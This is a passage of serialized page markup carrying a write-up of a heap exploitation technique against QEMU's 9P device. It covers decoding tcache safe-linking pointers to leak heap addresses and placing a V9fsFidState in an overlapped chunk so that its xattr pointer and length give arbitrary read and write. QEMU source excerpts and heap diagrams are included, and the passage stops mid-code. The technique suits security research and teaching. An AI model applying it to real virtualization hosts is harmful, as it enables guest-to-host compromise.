XORing it with the address of the current chunk, shifted right by 12:",{"type":22,"tag":618,"props":130577,"children":130579},{"code":130578},"fd = next ^ (curr >> 12)\n",[130580],{"type":22,"tag":257,"props":130581,"children":130582},{"__ignoreMap":7},[130583],{"type":27,"value":130578},{"type":22,"tag":23,"props":130585,"children":130586},{},[130587,130589,130594,130595,130600],{"type":27,"value":130588},"When a tcache bin is empty and a single chunk is inserted into it, ",{"type":22,"tag":257,"props":130590,"children":130592},{"className":130591},[],[130593],{"type":27,"value":58886},{"type":27,"value":6791},{"type":22,"tag":257,"props":130596,"children":130598},{"className":130597},[],[130599],{"type":27,"value":55817},{"type":27,"value":130601}," because there is no following entry. In that case, the encoding becomes:",{"type":22,"tag":618,"props":130603,"children":130605},{"code":130604},"fd = 0 ^ (curr >> 12)\n",[130606],{"type":22,"tag":257,"props":130607,"children":130608},{"__ignoreMap":7},[130609],{"type":27,"value":130604},{"type":22,"tag":23,"props":130611,"children":130612},{},[130613,130615,130620],{"type":27,"value":130614},"So if we free a single chunk into an empty tcache bin, its ",{"type":22,"tag":257,"props":130616,"children":130618},{"className":130617},[],[130619],{"type":27,"value":130573},{"type":27,"value":130621}," field is effectively just the chunk address shifted right by 12.",{"type":22,"tag":23,"props":130623,"children":130624},{},[130625],{"type":27,"value":130626},"In the overlap we achieved earlier:",{"type":22,"tag":618,"props":130628,"children":130630},{"code":130629},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+--------------------+\n|                    |                    |\n|      .value Y      |      .value C      |\n|                    |                    |\n+--------------------+--------------------+\n",[130631],{"type":22,"tag":257,"props":130632,"children":130633},{"__ignoreMap":7},[130634],{"type":27,"value":130629},{"type":22,"tag":23,"props":130636,"children":130637},{},[130638,130640,130646,130648,130654,130656,130662,130664,130669],{"type":27,"value":130639},"We first free ",{"type":22,"tag":257,"props":130641,"children":130643},{"className":130642},[],[130644],{"type":27,"value":130645},".value C",{"type":27,"value":130647}," into tcache and read its contents through the oversized ",{"type":22,"tag":257,"props":130649,"children":130651},{"className":130650},[],[130652],{"type":27,"value":130653},".value Y",{"type":27,"value":130655},". This gives us ",{"type":22,"tag":257,"props":130657,"children":130659},{"className":130658},[],[130660],{"type":27,"value":130661},".value C >> 12",{"type":27,"value":130663},". That is not yet the exact address of ",{"type":22,"tag":257,"props":130665,"children":130667},{"className":130666},[],[130668],{"type":27,"value":130645},{"type":27,"value":130670},", since the lower 12 bits are lost.",{"type":22,"tag":23,"props":130672,"children":130673},{},[130674,130676,130681,130683,130688,130690,130695,130697,130702],{"type":27,"value":130675},"To recover the exact address of a controlled heap chunk, we reclaim ",{"type":22,"tag":257,"props":130677,"children":130679},{"className":130678},[],[130680],{"type":27,"value":130645},{"type":27,"value":130682},", then free a different controlled chunk into the same tcache bin. After that, we free ",{"type":22,"tag":257,"props":130684,"children":130686},{"className":130685},[],[130687],{"type":27,"value":130645},{"type":27,"value":130689}," again. This time, ",{"type":22,"tag":257,"props":130691,"children":130693},{"className":130692},[],[130694],{"type":27,"value":58886},{"type":27,"value":130696}," is no longer ",{"type":22,"tag":257,"props":130698,"children":130700},{"className":130699},[],[130701],{"type":27,"value":55817},{"type":27,"value":130703},", but instead points to that controlled chunk, so the encoded forward pointer becomes:",{"type":22,"tag":618,"props":130705,"children":130706},{"code":130578},[130707],{"type":22,"tag":257,"props":130708,"children":130709},{"__ignoreMap":7},[130710],{"type":27,"value":130578},{"type":22,"tag":23,"props":130712,"children":130713},{},[130714,130716,130722,130724,130729,130731,130736,130738,130743],{"type":27,"value":130715},"Since we already know ",{"type":22,"tag":257,"props":130717,"children":130719},{"className":130718},[],[130720],{"type":27,"value":130721},"curr >> 12",{"type":27,"value":130723}," from the first leak, we can read the new ",{"type":22,"tag":257,"props":130725,"children":130727},{"className":130726},[],[130728],{"type":27,"value":130573},{"type":27,"value":130730}," value from ",{"type":22,"tag":257,"props":130732,"children":130734},{"className":130733},[],[130735],{"type":27,"value":130645},{"type":27,"value":130737}," and recover the exact address of ",{"type":22,"tag":257,"props":130739,"children":130741},{"className":130740},[],[130742],{"type":27,"value":58886},{"type":27,"value":130744}," by reversing the XOR:",{"type":22,"tag":618,"props":130746,"children":130748},{"code":130747},"next = fd ^ (curr >> 12)\n",[130749],{"type":22,"tag":257,"props":130750,"children":130751},{"__ignoreMap":7},[130752],{"type":27,"value":130747},{"type":22,"tag":23,"props":130754,"children":130755},{},[130756],{"type":27,"value":130757},"This gives us the exact address of a heap chunk whose contents we control.",{"type":22,"tag":181,"props":130759,"children":130761},{"id":130760},"arbitrary-read-and-write",[130762],{"type":27,"value":130763},"Arbitrary Read and Write",{"type":22,"tag":23,"props":130765,"children":130766},{},[130767,130769,130774],{"type":27,"value":130768},"Having a controlled chunk at a known address lets us repurpose ",{"type":22,"tag":257,"props":130770,"children":130772},{"className":130771},[],[130773],{"type":27,"value":130645},{"type":27,"value":130775}," into an arbitrary read/write primitive. To do that, we go back to the 9P device.",{"type":22,"tag":23,"props":130777,"children":130778},{},[130779,130781,130786],{"type":27,"value":130780},"Recall ",{"type":22,"tag":257,"props":130782,"children":130784},{"className":130783},[],[130785],{"type":27,"value":129249},{"type":27,"value":5785},{"type":22,"tag":618,"props":130788,"children":130790},{"code":130789,"language":4449,"meta":7,"className":17815,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    uint64_t size;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n\n    [...]\n\n    file_fidp = get_fid(pdu, fid);\n\n    [...]\n\n    /* Make the file fid point to xattr */\n    xattr_fidp = file_fidp;\n    xattr_fidp->fs.xattr.len = size;\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n\n    [...]\n",[130791],{"type":22,"tag":257,"props":130792,"children":130793},{"__ignoreMap":7},[130794,130833,130840,130851,130866,130881,130888,130895,130902,130924,130931,130938,130945,130953,130970,131009,131052,131059],{"type":22,"tag":264,"props":130795,"children":130796},{"class":1534,"line":1535},[130797,130801,130805,130809,130813,130817,130821,130825,130829],{"type":22,"tag":264,"props":130798,"children":130799},{"style":4293},[130800],{"type":27,"value":52365},{"type":22,"tag":264,"props":130802,"children":130803},{"style":4293},[130804],{"type":27,"value":52370},{"type":22,"tag":264,"props":130806,"children":130807},{"style":1539},[130808],{"type":27,"value":129244},{"type":22,"tag":264,"props":130810,"children":130811},{"style":4401},[130812],{"type":27,"value":129249},{"type":22,"tag":264,"props":130814,"children":130815},{"style":1539},[130816],{"type":27,"value":2660},{"type":22,"tag":264,"props":130818,"children":130819},{"style":4293},[130820],{"type":27,"value":52948},{"type":22,"tag":264,"props":130822,"children":130823},{"style":4309},[130824],{"type":27,"value":11115},{"type":22,"tag":264,"props":130826,"children":130827},{"style":1549},[130828],{"type":27,"value":129266},{"type":22,"tag":264,"props":130830,"children":130831},{"style":1539},[130832],{"type":27,"value":4463},{"type":22,"tag":264,"props":130834,"children":130835},{"class":1534,"line":1545},[130836],{"type":22,"tag":264,"props":130837,"children":130838},{"style":1539},[130839],{"type":27,"value":1542},{"type":22,"tag":264,"props":130841,"children":130842},{"class":1534,"line":1560},[130843,130847],{"type":22,"tag":264,"props":130844,"children":130845},{"style":4293},[130846],{"type":27,"value":56934},{"type":22,"tag":264,"props":130848,"children":130849},{"style":1539},[130850],{"type":27,"value":125902},{"type":22,"tag":264,"props":130852,"children":130853},{"class":1534,"line":1569},[130854,130858,130862],{"type":22,"tag":264,"props":130855,"children":130856},{"style":1539},[130857],{"type":27,"value":129391},{"type":22,"tag":264,"props":130859,"children":130860},{"style":4309},[130861],{"type":27,"value":5865},{"type":22,"tag":264,"props":130863,"children":130864},{"style":1539},[130865],{"type":27,"value":129400},{"type":22,"tag":264,"props":130867,"children":130868},{"class":1534,"line":1583},[130869,130873,130877],{"type":22,"tag":264,"props":130870,"children":130871},{"style":1539},[130872],{"type":27,"value":129391},{"type":22,"tag":264,"props":130874,"children":130875},{"style":4309},[130876],{"type":27,"value":5865},{"type":22,"tag":264,"props":130878,"children":130879},{"style":1539},[130880],{"type":27,"value":129416},{"type":22,"tag":264,"props":130882,"children":130883},{"class":1534,"line":1603},[130884],{"type":22,"tag":264,"props":130885,"children":130886},{"emptyLinePlaceholder":17},[130887],{"type":27,"value":4986},{"type":22,"tag":264,"props":130889,"children":130890},{"class":1534,"line":1612},[130891],{"type":22,"tag":264,"props":130892,"children":130893},{"style":1539},[130894],{"type":27,"value":106122},{"type":22,"tag":264,"props":130896,"children":130897},{"class":1534,"line":1621},[130898],{"type":22,"tag":264,"props":130899,"children":130900},{"emptyLinePlaceholder":17},[130901],{"type":27,"value":4986},{"type":22,"tag":264,"props":130903,"children":130904},{"class":1534,"line":1629},[130905,130910,130914,130919],{"type":22,"tag":264,"props":130906,"children":130907},{"style":1539},[130908],{"type":27,"value":130909},"    file_fidp ",{"type":22,"tag":264,"props":130911,"children":130912},{"style":4309},[130913],{"type":27,"value":429},{"type":22,"tag":264,"props":130915,"children":130916},{"style":4401},[130917],{"type":27,"value":130918}," get_fid",{"type":22,"tag":264,"props":130920,"children":130921},{"style":1539},[130922],{"type":27,"value":130923},"(pdu, fid);\n",{"type":22,"tag":264,"props":130925,"children":130926},{"class":1534,"line":1642},[130927],{"type":22,"tag":264,"props":130928,"children":130929},{"emptyLinePlaceholder":17},[130930],{"type":27,"value":4986},{"type":22,"tag":264,"props":130932,"children":130933},{"class":1534,"line":1660},[130934],{"type":22,"tag":264,"props":130935,"children":130936},{"style":1539},[130937],{"type":27,"value":106122},{"type":22,"tag":264,"props":130939,"children":130940},{"class":1534,"line":1668},[130941],{"type":22,"tag":264,"props":130942,"children":130943},{"emptyLinePlaceholder":17},[130944],{"type":27,"value":4986},{"type":22,"tag":264,"props":130946,"children":130947},{"class":1534,"line":1677},[130948],{"type":22,"tag":264,"props":130949,"children":130950},{"style":4284},[130951],{"type":27,"value":130952},"    /* Make the file fid point to xattr */\n",{"type":22,"tag":264,"props":130954,"children":130955},{"class":1534,"line":1686},[130956,130961,130965],{"type":22,"tag":264,"props":130957,"children":130958},{"style":1539},[130959],{"type":27,"value":130960},"    xattr_fidp ",{"type":22,"tag":264,"props":130962,"children":130963},{"style":4309},[130964],{"type":27,"value":429},{"type":22,"tag":264,"props":130966,"children":130967},{"style":1539},[130968],{"type":27,"value":130969}," file_fidp;\n",{"type":22,"tag":264,"props":130971,"children":130972},{"class":1534,"line":4948},[130973,130977,130981,130985,130989,130993,130997,131001,131005],{"type":22,"tag":264,"props":130974,"children":130975},{"style":1549},[130976],{"type":27,"value":129794},{"type":22,"tag":264,"props":130978,"children":130979},{"style":1539},[130980],{"type":27,"value":15056},{"type":22,"tag":264,"props":130982,"children":130983},{"style":1549},[130984],{"type":27,"value":38297},{"type":22,"tag":264,"props":130986,"children":130987},{"style":1539},[130988],{"type":27,"value":210},{"type":22,"tag":264,"props":130990,"children":130991},{"style":1549},[130992],{"type":27,"value":129718},{"type":22,"tag":264,"props":130994,"children":130995},{"style":1539},[130996],{"type":27,"value":210},{"type":22,"tag":264,"props":130998,"children":130999},{"style":1549},[131000],{"type":27,"value":10436},{"type":22,"tag":264,"props":131002,"children":131003},{"style":4309},[131004],{"type":27,"value":4312},{"type":22,"tag":264,"props":131006,"children":131007},{"style":1539},[131008],{"type":27,"value":125902},{"type":22,"tag":264,"props":131010,"children":131011},{"class":1534,"line":4957},[131012,131016,131020,131024,131028,131032,131036,131040,131044,131048],{"type":22,"tag":264,"props":131013,"children":131014},{"style":1549},[131015],{"type":27,"value":129794},{"type":22,"tag":264,"props":131017,"children":131018},{"style":1539},[131019],{"type":27,"value":15056},{"type":22,"tag":264,"props":131021,"children":131022},{"style":1549},[131023],{"type":27,"value":38297},{"type":22,"tag":264,"props":131025,"children":131026},{"style":1539},[131027],{"type":27,"value":210},{"type":22,"tag":264,"props":131029,"children":131030},{"style":1549},[131031],{"type":27,"value":129718},{"type":22,"tag":264,"props":131033,"children":131034},{"style":1539},[131035],{"type":27,"value":210},{"type":22,"tag":264,"props":131037,"children":131038},{"style":1549},[131039],{"type":27,"value":40466},{"type":22,"tag":264,"props":131041,"children":131042},{"style":4309},[131043],{"type":27,"value":4312},{"type":22,"tag":264,"props":131045,"children":131046},{"style":4401},[131047],{"type":27,"value":125473},{"type":22,"tag":264,"props":131049,"children":131050},{"style":1539},[131051],{"type":27,"value":129831},{"type":22,"tag":264,"props":131053,"children":131054},{"class":1534,"line":4980},[131055],{"type":22,"tag":264,"props":131056,"children":131057},{"emptyLinePlaceholder":17},[131058],{"type":27,"value":4986},{"type":22,"tag":264,"props":131060,"children":131061},{"class":1534,"line":4989},[131062],{"type":22,"tag":264,"props":131063,"children":131064},{"style":1539},[131065],{"type":27,"value":106122},{"type":22,"tag":23,"props":131067,"children":131068},{},[131069,131071,131077,131079,131084,131085,131090,131092,131097,131099,131105,131106,131112,131114,131119,131120,131125],{"type":27,"value":131070},"The important detail here is that an xattr FID stores both the backing pointer and its length inside the surrounding ",{"type":22,"tag":257,"props":131072,"children":131074},{"className":131073},[],[131075],{"type":27,"value":131076},"V9fsFidState",{"type":27,"value":131078}," object. In other words, if we can place a ",{"type":22,"tag":257,"props":131080,"children":131082},{"className":131081},[],[131083],{"type":27,"value":131076},{"type":27,"value":8615},{"type":22,"tag":257,"props":131086,"children":131088},{"className":131087},[],[131089],{"type":27,"value":130645},{"type":27,"value":131091}," currently sits, the overlapping ",{"type":22,"tag":257,"props":131093,"children":131095},{"className":131094},[],[131096],{"type":27,"value":130653},{"type":27,"value":131098}," chunk can overwrite ",{"type":22,"tag":257,"props":131100,"children":131102},{"className":131101},[],[131103],{"type":27,"value":131104},"V9fsFidState.fs.xattr.value",{"type":27,"value":12290},{"type":22,"tag":257,"props":131107,"children":131109},{"className":131108},[],[131110],{"type":27,"value":131111},"V9fsFidState.fs.xattr.len",{"type":27,"value":131113},". That would immediately give us arbitrary read and write through ",{"type":22,"tag":257,"props":131115,"children":131117},{"className":131116},[],[131118],{"type":27,"value":129907},{"type":27,"value":12290},{"type":22,"tag":257,"props":131121,"children":131123},{"className":131122},[],[131124],{"type":27,"value":129899},{"type":27,"value":210},{"type":22,"tag":23,"props":131127,"children":131128},{},[131129,131131,131136,131137,131142,131144,131149,131151,131157,131159,131164,131166,131171,131173,131178,131180,131185,131187,131192],{"type":27,"value":131130},"At this point, ",{"type":22,"tag":257,"props":131132,"children":131134},{"className":131133},[],[131135],{"type":27,"value":130645},{"type":27,"value":16743},{"type":22,"tag":257,"props":131138,"children":131140},{"className":131139},[],[131141],{"type":27,"value":129114},{"type":27,"value":131143}," chunk, while ",{"type":22,"tag":257,"props":131145,"children":131147},{"className":131146},[],[131148],{"type":27,"value":131076},{"type":27,"value":131150}," falls into the ",{"type":22,"tag":257,"props":131152,"children":131154},{"className":131153},[],[131155],{"type":27,"value":131156},"0x120",{"type":27,"value":131158}," size class. Before freeing ",{"type":22,"tag":257,"props":131160,"children":131162},{"className":131161},[],[131163],{"type":27,"value":130645},{"type":27,"value":131165},", we therefore use the oversized ",{"type":22,"tag":257,"props":131167,"children":131169},{"className":131168},[],[131170],{"type":27,"value":130653},{"type":27,"value":131172}," chunk to change its size to match ",{"type":22,"tag":257,"props":131174,"children":131176},{"className":131175},[],[131177],{"type":27,"value":131076},{"type":27,"value":131179},". Once ",{"type":22,"tag":257,"props":131181,"children":131183},{"className":131182},[],[131184],{"type":27,"value":130645},{"type":27,"value":131186}," is freed, it is inserted into the ",{"type":22,"tag":257,"props":131188,"children":131190},{"className":131189},[],[131191],{"type":27,"value":131156},{"type":27,"value":131193}," tcache bin.",{"type":22,"tag":618,"props":131195,"children":131197},{"code":131196},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                          Free           |\nv                          0x120          v\n+--------------------+---------------+----+\n|                    |...............|    |\n|      .value Y      |...............|    |\n|                    |...............|    |\n+--------------------+---------------+----+\n",[131198],{"type":22,"tag":257,"props":131199,"children":131200},{"__ignoreMap":7},[131201],{"type":27,"value":131196},{"type":22,"tag":23,"props":131203,"children":131204},{},[131205,131207,131212,131214,131220,131222,131228,131230,131235],{"type":27,"value":131206},"After that, we can simply allocate a new ",{"type":22,"tag":257,"props":131208,"children":131210},{"className":131209},[],[131211],{"type":27,"value":131076},{"type":27,"value":131213}," with a ",{"type":22,"tag":257,"props":131215,"children":131217},{"className":131216},[],[131218],{"type":27,"value":131219},"P9_TWALK",{"type":27,"value":131221}," request and a fresh FID - this reaches ",{"type":22,"tag":257,"props":131223,"children":131225},{"className":131224},[],[131226],{"type":27,"value":131227},"alloc_fid",{"type":27,"value":131229},", which allocates a new ",{"type":22,"tag":257,"props":131231,"children":131233},{"className":131232},[],[131234],{"type":27,"value":131076},{"type":27,"value":5785},{"type":22,"tag":618,"props":131237,"children":131239},{"code":131238,"language":4449,"meta":7,"className":17815,"style":7},"static void coroutine_fn v9fs_walk(void *opaque)\n{\n    V9fsFidState *fidp;\n    V9fsFidState *newfidp = NULL;\n\n    [...]\n\n    if (fid == newfid) {\n        [...]\n    } else {\n        newfidp = alloc_fid(s, newfid);\n        if (newfidp == NULL) {\n            err = -EINVAL;\n            goto out;\n        }\n        newfidp->uid = fidp->uid;\n        v9fs_path_copy(&newfidp->path, &path);\n    }\n\n    [...]\n}\n\nstatic V9fsFidState *alloc_fid(V9fsState *s, int32_t fid)\n{\n    V9fsFidState *f;\n\n    f = g_hash_table_lookup(s->fids, GINT_TO_POINTER(fid));\n    if (f) {\n        /* If fid is already there return NULL */\n        BUG_ON(f->clunked);\n        return NULL;\n    }\n    f = g_new0(V9fsFidState, 1);\n\n    [...]\n",[131240],{"type":22,"tag":257,"props":131241,"children":131242},{"__ignoreMap":7},[131243,131283,131290,131306,131334,131341,131348,131355,131376,131383,131398,131420,131444,131465,131476,131483,131521,131563,131570,131577,131584,131591,131598,131649,131656,131671,131678,131726,131738,131746,131775,131790,131797,131826,131833],{"type":22,"tag":264,"props":131244,"children":131245},{"class":1534,"line":1535},[131246,131250,131254,131258,131263,131267,131271,131275,131279],{"type":22,"tag":264,"props":131247,"children":131248},{"style":4293},[131249],{"type":27,"value":52365},{"type":22,"tag":264,"props":131251,"children":131252},{"style":4293},[131253],{"type":27,"value":52370},{"type":22,"tag":264,"props":131255,"children":131256},{"style":1539},[131257],{"type":27,"value":129244},{"type":22,"tag":264,"props":131259,"children":131260},{"style":4401},[131261],{"type":27,"value":131262},"v9fs_walk",{"type":22,"tag":264,"props":131264,"children":131265},{"style":1539},[131266],{"type":27,"value":2660},{"type":22,"tag":264,"props":131268,"children":131269},{"style":4293},[131270],{"type":27,"value":52948},{"type":22,"tag":264,"props":131272,"children":131273},{"style":4309},[131274],{"type":27,"value":11115},{"type":22,"tag":264,"props":131276,"children":131277},{"style":1549},[131278],{"type":27,"value":129266},{"type":22,"tag":264,"props":131280,"children":131281},{"style":1539},[131282],{"type":27,"value":4463},{"type":22,"tag":264,"props":131284,"children":131285},{"class":1534,"line":1545},[131286],{"type":22,"tag":264,"props":131287,"children":131288},{"style":1539},[131289],{"type":27,"value":1542},{"type":22,"tag":264,"props":131291,"children":131292},{"class":1534,"line":1560},[131293,131297,131301],{"type":22,"tag":264,"props":131294,"children":131295},{"style":1539},[131296],{"type":27,"value":129391},{"type":22,"tag":264,"props":131298,"children":131299},{"style":4309},[131300],{"type":27,"value":5865},{"type":22,"tag":264,"props":131302,"children":131303},{"style":1539},[131304],{"type":27,"value":131305},"fidp;\n",{"type":22,"tag":264,"props":131307,"children":131308},{"class":1534,"line":1569},[131309,131313,131317,131322,131326,131330],{"type":22,"tag":264,"props":131310,"children":131311},{"style":1539},[131312],{"type":27,"value":129391},{"type":22,"tag":264,"props":131314,"children":131315},{"style":4309},[131316],{"type":27,"value":5865},{"type":22,"tag":264,"props":131318,"children":131319},{"style":1539},[131320],{"type":27,"value":131321},"newfidp ",{"type":22,"tag":264,"props":131323,"children":131324},{"style":4309},[131325],{"type":27,"value":429},{"type":22,"tag":264,"props":131327,"children":131328},{"style":4293},[131329],{"type":27,"value":129070},{"type":22,"tag":264,"props":131331,"children":131332},{"style":1539},[131333],{"type":27,"value":4322},{"type":22,"tag":264,"props":131335,"children":131336},{"class":1534,"line":1583},[131337],{"type":22,"tag":264,"props":131338,"children":131339},{"emptyLinePlaceholder":17},[131340],{"type":27,"value":4986},{"type":22,"tag":264,"props":131342,"children":131343},{"class":1534,"line":1603},[131344],{"type":22,"tag":264,"props":131345,"children":131346},{"style":1539},[131347],{"type":27,"value":106122},{"type":22,"tag":264,"props":131349,"children":131350},{"class":1534,"line":1612},[131351],{"type":22,"tag":264,"props":131352,"children":131353},{"emptyLinePlaceholder":17},[131354],{"type":27,"value":4986},{"type":22,"tag":264,"props":131356,"children":131357},{"class":1534,"line":1621},[131358,131362,131367,131371],{"type":22,"tag":264,"props":131359,"children":131360},{"style":4328},[131361],{"type":27,"value":13578},{"type":22,"tag":264,"props":131363,"children":131364},{"style":1539},[131365],{"type":27,"value":131366}," (fid ",{"type":22,"tag":264,"props":131368,"children":131369},{"style":4309},[131370],{"type":27,"value":9870},{"type":22,"tag":264,"props":131372,"children":131373},{"style":1539},[131374],{"type":27,"value":131375}," newfid) {\n",{"type":22,"tag":264,"props":131377,"children":131378},{"class":1534,"line":1629},[131379],{"type":22,"tag":264,"props":131380,"children":131381},{"style":1539},[131382],{"type":27,"value":125339},{"type":22,"tag":264,"props":131384,"children":131385},{"class":1534,"line":1642},[131386,131390,131394],{"type":22,"tag":264,"props":131387,"children":131388},{"style":1539},[131389],{"type":27,"value":17079},{"type":22,"tag":264,"props":131391,"children":131392},{"style":4328},[131393],{"type":27,"value":4619},{"type":22,"tag":264,"props":131395,"children":131396},{"style":1539},[131397],{"type":27,"value":4594},{"type":22,"tag":264,"props":131399,"children":131400},{"class":1534,"line":1660},[131401,131406,131410,131415],{"type":22,"tag":264,"props":131402,"children":131403},{"style":1539},[131404],{"type":27,"value":131405},"        newfidp ",{"type":22,"tag":264,"props":131407,"children":131408},{"style":4309},[131409],{"type":27,"value":429},{"type":22,"tag":264,"props":131411,"children":131412},{"style":4401},[131413],{"type":27,"value":131414}," alloc_fid",{"type":22,"tag":264,"props":131416,"children":131417},{"style":1539},[131418],{"type":27,"value":131419},"(s, newfid);\n",{"type":22,"tag":264,"props":131421,"children":131422},{"class":1534,"line":1668},[131423,131427,131432,131436,131440],{"type":22,"tag":264,"props":131424,"children":131425},{"style":4328},[131426],{"type":27,"value":4575},{"type":22,"tag":264,"props":131428,"children":131429},{"style":1539},[131430],{"type":27,"value":131431}," (newfidp ",{"type":22,"tag":264,"props":131433,"children":131434},{"style":4309},[131435],{"type":27,"value":9870},{"type":22,"tag":264,"props":131437,"children":131438},{"style":4293},[131439],{"type":27,"value":129070},{"type":22,"tag":264,"props":131441,"children":131442},{"style":1539},[131443],{"type":27,"value":16103},{"type":22,"tag":264,"props":131445,"children":131446},{"class":1534,"line":1677},[131447,131452,131456,131460],{"type":22,"tag":264,"props":131448,"children":131449},{"style":1539},[131450],{"type":27,"value":131451},"            err ",{"type":22,"tag":264,"props":131453,"children":131454},{"style":4309},[131455],{"type":27,"value":429},{"type":22,"tag":264,"props":131457,"children":131458},{"style":4309},[131459],{"type":27,"value":52576},{"type":22,"tag":264,"props":131461,"children":131462},{"style":1539},[131463],{"type":27,"value":131464},"EINVAL;\n",{"type":22,"tag":264,"props":131466,"children":131467},{"class":1534,"line":1686},[131468,131472],{"type":22,"tag":264,"props":131469,"children":131470},{"style":4328},[131471],{"type":27,"value":61871},{"type":22,"tag":264,"props":131473,"children":131474},{"style":1539},[131475],{"type":27,"value":61876},{"type":22,"tag":264,"props":131477,"children":131478},{"class":1534,"line":4948},[131479],{"type":22,"tag":264,"props":131480,"children":131481},{"style":1539},[131482],{"type":27,"value":4651},{"type":22,"tag":264,"props":131484,"children":131485},{"class":1534,"line":4957},[131486,131491,131495,131500,131504,131509,131513,131517],{"type":22,"tag":264,"props":131487,"children":131488},{"style":1549},[131489],{"type":27,"value":131490},"        newfidp",{"type":22,"tag":264,"props":131492,"children":131493},{"style":1539},[131494],{"type":27,"value":15056},{"type":22,"tag":264,"props":131496,"children":131497},{"style":1549},[131498],{"type":27,"value":131499},"uid",{"type":22,"tag":264,"props":131501,"children":131502},{"style":4309},[131503],{"type":27,"value":4312},{"type":22,"tag":264,"props":131505,"children":131506},{"style":1549},[131507],{"type":27,"value":131508}," fidp",{"type":22,"tag":264,"props":131510,"children":131511},{"style":1539},[131512],{"type":27,"value":15056},{"type":22,"tag":264,"props":131514,"children":131515},{"style":1549},[131516],{"type":27,"value":131499},{"type":22,"tag":264,"props":131518,"children":131519},{"style":1539},[131520],{"type":27,"value":4322},{"type":22,"tag":264,"props":131522,"children":131523},{"class":1534,"line":4980},[131524,131529,131533,131537,131542,131546,131550,131554,131558],{"type":22,"tag":264,"props":131525,"children":131526},{"style":4401},[131527],{"type":27,"value":131528},"        v9fs_path_copy",{"type":22,"tag":264,"props":131530,"children":131531},{"style":1539},[131532],{"type":27,"value":2660},{"type":22,"tag":264,"props":131534,"children":131535},{"style":4309},[131536],{"type":27,"value":4413},{"type":22,"tag":264,"props":131538,"children":131539},{"style":1549},[131540],{"type":27,"value":131541},"newfidp",{"type":22,"tag":264,"props":131543,"children":131544},{"style":1539},[131545],{"type":27,"value":15056},{"type":22,"tag":264,"props":131547,"children":131548},{"style":1549},[131549],{"type":27,"value":2977},{"type":22,"tag":264,"props":131551,"children":131552},{"style":1539},[131553],{"type":27,"value":4380},{"type":22,"tag":264,"props":131555,"children":131556},{"style":4309},[131557],{"type":27,"value":4413},{"type":22,"tag":264,"props":131559,"children":131560},{"style":1539},[131561],{"type":27,"value":131562},"path);\n",{"type":22,"tag":264,"props":131564,"children":131565},{"class":1534,"line":4989},[131566],{"type":22,"tag":264,"props":131567,"children":131568},{"style":1539},[131569],{"type":27,"value":1674},{"type":22,"tag":264,"props":131571,"children":131572},{"class":1534,"line":4998},[131573],{"type":22,"tag":264,"props":131574,"children":131575},{"emptyLinePlaceholder":17},[131576],{"type":27,"value":4986},{"type":22,"tag":264,"props":131578,"children":131579},{"class":1534,"line":5067},[131580],{"type":22,"tag":264,"props":131581,"children":131582},{"style":1539},[131583],{"type":27,"value":106122},{"type":22,"tag":264,"props":131585,"children":131586},{"class":1534,"line":5075},[131587],{"type":22,"tag":264,"props":131588,"children":131589},{"style":1539},[131590],{"type":27,"value":1692},{"type":22,"tag":264,"props":131592,"children":131593},{"class":1534,"line":5105},[131594],{"type":22,"tag":264,"props":131595,"children":131596},{"emptyLinePlaceholder":17},[131597],{"type":27,"value":4986},{"type":22,"tag":264,"props":131599,"children":131600},{"class":1534,"line":5113},[131601,131605,131610,131614,131618,131623,131627,131631,131635,131640,131645],{"type":22,"tag":264,"props":131602,"children":131603},{"style":4293},[131604],{"type":27,"value":52365},{"type":22,"tag":264,"props":131606,"children":131607},{"style":1539},[131608],{"type":27,"value":131609}," V9fsFidState ",{"type":22,"tag":264,"props":131611,"children":131612},{"style":4309},[131613],{"type":27,"value":5865},{"type":22,"tag":264,"props":131615,"children":131616},{"style":4401},[131617],{"type":27,"value":131227},{"type":22,"tag":264,"props":131619,"children":131620},{"style":1539},[131621],{"type":27,"value":131622},"(V9fsState ",{"type":22,"tag":264,"props":131624,"children":131625},{"style":4309},[131626],{"type":27,"value":5865},{"type":22,"tag":264,"props":131628,"children":131629},{"style":1549},[131630],{"type":27,"value":11950},{"type":22,"tag":264,"props":131632,"children":131633},{"style":1539},[131634],{"type":27,"value":4380},{"type":22,"tag":264,"props":131636,"children":131637},{"style":4293},[131638],{"type":27,"value":131639},"int32_t",{"type":22,"tag":264,"props":131641,"children":131642},{"style":1549},[131643],{"type":27,"value":131644}," fid",{"type":22,"tag":264,"props":131646,"children":131647},{"style":1539},[131648],{"type":27,"value":4463},{"type":22,"tag":264,"props":131650,"children":131651},{"class":1534,"line":5145},[131652],{"type":22,"tag":264,"props":131653,"children":131654},{"style":1539},[131655],{"type":27,"value":1542},{"type":22,"tag":264,"props":131657,"children":131658},{"class":1534,"line":5153},[131659,131663,131667],{"type":22,"tag":264,"props":131660,"children":131661},{"style":1539},[131662],{"type":27,"value":129391},{"type":22,"tag":264,"props":131664,"children":131665},{"style":4309},[131666],{"type":27,"value":5865},{"type":22,"tag":264,"props":131668,"children":131669},{"style":1539},[131670],{"type":27,"value":52486},{"type":22,"tag":264,"props":131672,"children":131673},{"class":1534,"line":5213},[131674],{"type":22,"tag":264,"props":131675,"children":131676},{"emptyLinePlaceholder":17},[131677],{"type":27,"value":4986},{"type":22,"tag":264,"props":131679,"children":131680},{"class":1534,"line":10343},[131681,131686,131690,131695,131699,131703,131707,131712,131716,131721],{"type":22,"tag":264,"props":131682,"children":131683},{"style":1539},[131684],{"type":27,"value":131685},"    f ",{"type":22,"tag":264,"props":131687,"children":131688},{"style":4309},[131689],{"type":27,"value":429},{"type":22,"tag":264,"props":131691,"children":131692},{"style":4401},[131693],{"type":27,"value":131694}," 